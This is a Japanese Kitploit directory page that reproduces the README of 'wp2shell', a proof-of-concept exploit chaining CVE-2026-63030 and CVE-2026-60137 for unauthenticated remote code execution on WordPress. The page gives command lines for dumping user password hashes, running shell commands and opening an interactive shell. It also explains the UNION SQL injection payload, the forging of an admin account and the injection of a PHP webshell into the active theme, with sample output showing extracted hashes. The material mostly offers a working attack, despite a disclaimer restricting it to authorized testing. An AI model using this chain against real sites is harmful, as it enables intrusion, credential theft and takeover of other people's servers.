Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
ツール/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育レッドチーミングペイロード開発
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

wp2shell — CVE-2026-63030 + CVE-2026-60137

ワンデイのWordPress RCEエクスプロイトチェーン。認証不要。CVSS 9.8。

依存関係ゼロ — Python 3.8+ 標準ライブラリのみ。

影響を受けるバージョン

ブランチ影響を受けるバージョン修正済み
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

攻撃チェーン

2つのCVEを連鎖させ、認証なしでリモートコード実行(RCE)を実現します:

root@kitploit:~
CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

クイックスタート

root@kitploit:~
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

オプション

root@kitploit:~
--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

仕組み

ルート混乱(CVE-2026-63030)

WordPressのバッチエンドポイント /?rest_route=/batch/v1 は、サブリクエストの配列を受け付けます。サブリクエストのパスが解析できない場合(///)、WP_Error が $validation に追加されますが、$matches には追加されません。その後のディスパッチループは、リクエスト N をハンドラ N+1 とペアにするため、あるスキーマで検証されたリクエストが、異なるハンドラにディスパッチされることになります。

このエクスプロイトは、3層のネストしたバッチを送信し、各層で位置0にデシンクプライマーを使用してインデックスをずらします。最も内側のリクエスト(GET /wp/v2/posts/999999 として単一投稿アイテムとして検証される)は、コレクションハンドラ(posts->get_items())に到達します。アイテムスキーマが author_exclude を定義していないため、このパラメータは未検証のまま通過します。

SQLインジェクション(CVE-2026-60137)

get_items() は author_exclude を author__not_in にマッピングし、WP_Query に渡します。author__not_in が(配列ではなく)文字列の場合、array_map('absint', …) のブロックはスキップされます。生の文字列は直接以下のSQLに到達します:

root@kitploit:~
WHERE post_author NOT IN (<payload>)

ペイロード 0) UNION ALL SELECT …-- - は NOT IN リストを閉じ、任意のSQLを追加します。

UNION抽出

WordPress 7.0.x の wp_posts は厳密に23列です。UNION ALL SELECT で偽造した行を注入し、orderby=none(末尾の ORDER BY を抑制)と per_page=500(WP_Queryを全行モードに保つ)を指定すると、偽造した投稿タイトル(||HEX|| マーカーを含む)がRESTレスポンスに反映されます。すべての文字列値はMySQLの16進リテラル(0x…)を使用し、URLエンコーディングによるクォートエスケープの問題を回避します。

認証前の管理者作成

  1. UNIONで [embed] ショートコードを含む投稿を偽造 → WordPressが3つの oembed_cache 行を作成する
  2. UNION抽出で3つのキャッシュ投稿IDを読み戻す
  3. UNIONでカスタマイザーのチェンジセットチェーンを構成する7つの構造化された wp_posts 行を偽造する
  4. [embed] ショートコードがレンダリングされ、WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() をトリガーする
  5. ランダムなユーザー名(wp2_<random>)とパスワード(Wp2!<random>)で管理者が作成される

ウェブシェル展開

新しい管理者としてログイン → テーマエディタのnonceを抽出 → トークン保護されたPHPウェブシェルを有効テーマの functions.php の先頭に注入 → ?t=<token>&c=<command> でアクセス。

要件

  • Python 3.8 以降
  • 外部依存関係ゼロ — 標準ライブラリのみを使用(urllib、json、re、hashlib、secrets、html)
  • ターゲットには公開済みの投稿またはページが少なくとも1つ必要(oEmbedキャッシュのシード用)

制限事項

  • Dockerループバック: WordPressのファイルエディタは保存前に wp_remote_post() によるループバックチェックを実行します。コンテナがホスト名で自分自身に到達できない場合、テーマ編集はブロックされます。その場合は --dump-users と手動ログインを使用してください。
  • 公開済み投稿がない場合: oEmbedキャッシュのシードには公開済みのパーマリンクが少なくとも1つ必要です。セットアップ直後のまっさらなWordPressインストールには「Hello world!」と「Sample Page」の両方があります。
  • WAF / mod_security: 大量のリクエストフィルタリングにより、ネストされたバッチペイロードがブロックされる可能性があります。最初に --check でテストしてください。

検証

root@kitploit:~
$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

免責事項

このツールは、許可されたセキュリティ研究および教育目的のみを対象としています。自分が所有している、またはテストする明示的な許可を得ているシステムに対してのみ使用してください。作者は不正使用について一切の責任を負いません。

クレジット

  • WPScan — CVEの開示(CVE-2026-63030、CVE-2026-60137)
  • NVD — CVEデータベース
ツールをダウンロード
手順CVE攻撃ベクトル
1CVE-2026-63030REST /batch/v1 のインデックスずれが検証とディスパッチの同期を崩す
2CVE-2026-60137author__not_in WP_Queryパラメータは文字列として渡すと absint() をスキップする
3—UNION SELECT で wp_posts の行を偽造; oEmbed → customizer → wp_insert_user
4—新しく作成された管理者として認証する
5—テーマエディタがトークン保護されたウェブシェルを有効テーマに注入する